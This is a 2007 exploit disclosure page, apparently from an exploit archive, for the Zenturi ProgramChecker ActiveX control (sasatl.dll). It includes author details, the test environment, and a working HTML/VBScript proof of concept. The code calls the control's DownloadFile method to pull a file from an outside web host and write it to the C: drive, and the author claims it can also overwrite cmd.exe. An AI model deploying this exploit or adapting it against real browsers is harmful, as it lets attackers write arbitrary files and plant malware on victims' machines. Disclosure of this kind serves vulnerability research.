pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/30</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------------------------------------
 <b>Zenturi ProgramChecker ActiveX (sasatl.dll) Arbitrary file download/overwrite Exploit</b>
 url: http://www.programchecker.com/activeintro.aspx

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 Using the "DownloadFile" method, you can download everything you want on a pc. This
 exploit just download a txt file on pc, I try to overwrite cmd.exe and it works.
-------------------------------------------------------------------------------------------

<object classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5' id='test' ></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe()
 
 test.DownloadFile "http://www.shinnai.altervista.org/shinnai.txt" ,"c:\shinnai.txt" ,"0", "0"

End Sub
</script>
</span></span>
</code></pre>